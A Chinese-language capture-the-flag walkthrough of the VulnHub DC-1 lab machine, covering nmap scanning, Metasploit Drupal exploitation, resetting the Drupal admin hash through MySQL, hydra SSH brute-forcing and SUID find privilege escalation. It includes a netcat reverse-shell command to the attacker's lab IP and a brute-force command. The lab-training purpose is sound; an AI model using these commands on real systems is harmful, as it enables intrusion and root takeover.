vulnhub-DC系列1

1.写在前面

这里是vulnhub靶场练习的第二篇,也是DC系列的第一个,后续计划完成1-8整个DC系列。

学习过程中不应该拘泥于实现的具体细节,先掌握整体思路和方法及技巧。

后续再慢慢补充漏洞深入的研究。当然,并不是说理解漏洞原理不重要,毕竟这是一切的前提。

Tips:DC1 一共有5个flag

2.知识点速记

  • msf-payload速查
  • meterpreter的使用
  • mysql查询
  • 数据库密码重置-思路
  • hydra爆破
  • suid提权-find

3.环境配置

直接去vulnhub官网下载 Vulnhub-DC1对应的ova文件即可,然后拖入vmware。这里为了方便宿主机与靶机通讯,将虚拟机的网络模式设置为了NAT模式

Win10 宿主机、kali2020 攻击机、vulnhub靶机

4.信息收集

环境配置好后,首先确认一下IP,在kali上查看当前IP为 192.168.114.128

对当前网段的主机进行扫描

1
2
3
4
## 粗扫一遍,确认IP
nmap -sT -R 192.168.114.128/24
## 洗扫,确认详细指纹(这里用 -A 参数,可以更多的获取系统信息、组件版本信息、脚本扫描等)
nmap -A -sT4 目标ip

目标主机192.168.114.131,存在开放端口22、80、111

  • http:drupal 7,暴露robots.txt
  • ssh:先记着,后面有用

看了看网站的robots.txt,几个文件都没有什么有用的信息。


5.漏洞利用

5.1 msf-payload速查漏洞

这里引出第一个常规思路: 在爆破、字典等常规操作无果后,如果已知网站的框架或组件,可以去搜索对应框架、组件的版本是否存在漏洞,这里去搜索drupal7漏洞,可以发现有很多可以尝试的,我们可以一一测试。当然在kali下,msf已经集成了常规框架的测试payload,非常的方便进行盲测。

知识点1:msf-payload速查

1
2
msfconsole
msf6 > search drupal

这里可以看到有非常多的模块可利用,简单粗暴的方式,从头到位撸一遍。然后发现上图中的第二个是能够反弹shell的。

PS:其实最常规的做法是用扫描器扫一遍,然后根据扫描器提供的准确漏洞信息,再去msf中寻找利用模块。当然如果基于poc自行测试,那更好。

img

反弹的shell是meterpreter的形式,这里需要提前了解下meterpreter的使用。(太久没用,忘记使用shell进本地终端了…)。顺便生成一个交互式的tty(如何生成交互式shell,可见 Vulnhub-Mr.robot 这篇文章)

知识点2:meterpreter使用

meterpreter常用命令集合

img

至此,我们成功获取flag1,flag1提示我们去找网站的配置文件。


5.2 mysql重置web密码

常规思路2:一般来说,网站框架的配置文件中,可能含有后台登录密码、数据库连接信息等。获取这些有助于进一步分析利用。

搜索了下drupal的后台文件路径/var/www/sites/default/settings.php。查看下这个文件,果然不出所料,我们得到了flag2和一个本地mysql的账号密码。

img

这里flag2也给出了提示,暴力破解和字典并不是获得权限的唯一方式!,暗示了别从web侧找思路了……

看了下,本地也确实开放了3306端口,开搞!

img

知识点3:mysql语句

这里登录mysql,对下面的数据库及表进行检索,drupal的用户,是默认存放在drupaldb数据库->users表下的。

img img
1
2
3
4
5
6
$ mysql -u dbuser -p R0ck3t -D drupaldb
mysql> show databases;
mysql> use drupaldb;
mysql> show tables;
mysql> select * from users;
mysql> select user,pass from users;

上面的账号及密码显示不全,这里单独检索name和pass进行展示,得到了admin的账号及密码。但这里的密码并非是明文或者md5加密的,想要破解可能很难。

img

知识点4:数据库密码重置-思路

这里的核心其实是如何打开思维,去思考重置的方式。如何利用搜索引擎去定位问题。drupal7重置密码,drupal忘记密码怎么办?drupal后台修改密码,以上这些tag都可以帮助找寻重置密码的方法,不要限制自己的思维!

经过搜索,得到以下重置管理员密码的方法:

  1. 通过邮箱重置密码:drupal提供了邮箱重置密码功能,那通过修改邮箱地址,就可以重置密码。
  2. 通过drupal预置的密码生成脚本,生成新的密码,脚本位置/scripts/password-hash.sh
  3. 自己创建一个账号密码,把加密后的密码覆盖admin,或者本地搭建一个,看下admin默认密码。

这里最开始想到的是方法1,但是后面发现这个虚拟机drupal没有配邮件服务,这个路是走不通的,但实战中应该是ok的。然后是方式3,方式3是最容易想到的,因为毕竟破解难的话,我就不破解密码了,直接用加密后的密码覆盖即可。最后才是方式2,因为不深入搜索和学习,很难获知还有这么个脚本的存在。

这里我直接使用方式3一步到位。(Po一下百度搜索的结果)

img
1
mysql> update users set pass='$S$CDbdwZvjHQ09IVRs88G0fnaxPr50/kb81YI9.8M/D9okW7J/s5U4' where name='admin'

上面的pass其实就是password经过drupal的SHA2加密后的密文

img

6.权限提升

mysql重置完密码后,登录web后台随便翻翻,在Dashbord找到了第三个flag

flag3给的提示,有几个关键词,perms、find、passwd、-exec、shadow

  • passwd和shadow,想到去看看本地passwd文件,看没有什么线索。
  • perms、find 和 -exec,其实这里已经暗示了suid的find命令提权(和靶机Mr.robot对应上了)

那我们先看下/etc/passwd吧,发现存在flag4用户,家目录/home/flag4,进去得到了flag4,提示可以用同样的方式获得flag5。

但flag5是在root目录下的,我们一个普通用户是看不了滴,所以得想想怎么提权到root。

6.1 hydra爆破ssh密码

上面发现可以直接cd 到 flag4目录下并查看flag4.txt,所以并没有想到如何提权到flag4用户。之后看了其他的writeup,发现是可以通过爆破前面的22端口ssh获取到flag4的密码的,这里也简单学习下,多个思路。

知识点5:hydra爆破口令

1
hydra -u flag4 -P /home/password.dic ssh://192.168.114.131 

后续ssh过去(不过倒是方便了之后进shell,不用非得在msf下维持了)


6.2 SUID提权-find

回归正题,我们的目标是提权到root。根据前面的提示perms、find、-exec,可以很明显知道是要利用SUID提权了。这里如果对SUID提权不了解,可以看下之前总结的一篇博客,SUID提权(挖个坑)。

知识点6:SUID-find提权

如果Find命令是以suid权限运行的话,则将通过find执行的所有命令都会以root权限执行。

而使用find查找的时候,可以通过加入-exec 参数来执行测试表达式(理解为并列执行的意思),从而以root权限执行系统命令。

1
2
3
4
## -p是bash的参数,指的是如果uid和euid(或者说是suid)不一致的时候,如果不加-p,则euid会强制变成uid,从而无法反弹root的shell
find test_find -exec whoami \;
find test_find -exec /bin/bash -p \;
find test_find -exec nc 192.168.114.128 5566 -e /bin/bash/ -p \;

有关find反弹shell和-p参数,可参考这篇:为什么通过 find SUID 提权反弹的 shell 不是 root 权限?

这里成功得到root权限,按照flag4的提示,进入/root/下,得到最终flag,打完收工!


7.写在结尾

对DC1学习内容做个复盘:

漏洞利用部分:主要是如何快速信息收集,从而获取网站的漏洞。在进入后台后获取系统配置文件,并根据配置文件,获得mysql账号,从而通过mysql修改web网站密码,登录web应用系统。

提权部分:提权部分主要还是通过端口服务密码爆破(flag4)及suid命令提权

其他亮点:DC1的主要亮点,感觉在于drupal的密码重置,需要掌握一定的信息挖掘和检索的思路。

几个不错的writeup:

ulnhub靶机渗透之DC-1提权和Drupal漏洞利用

vulnhub之DC1靶机

对DC-1靶机进行渗透测试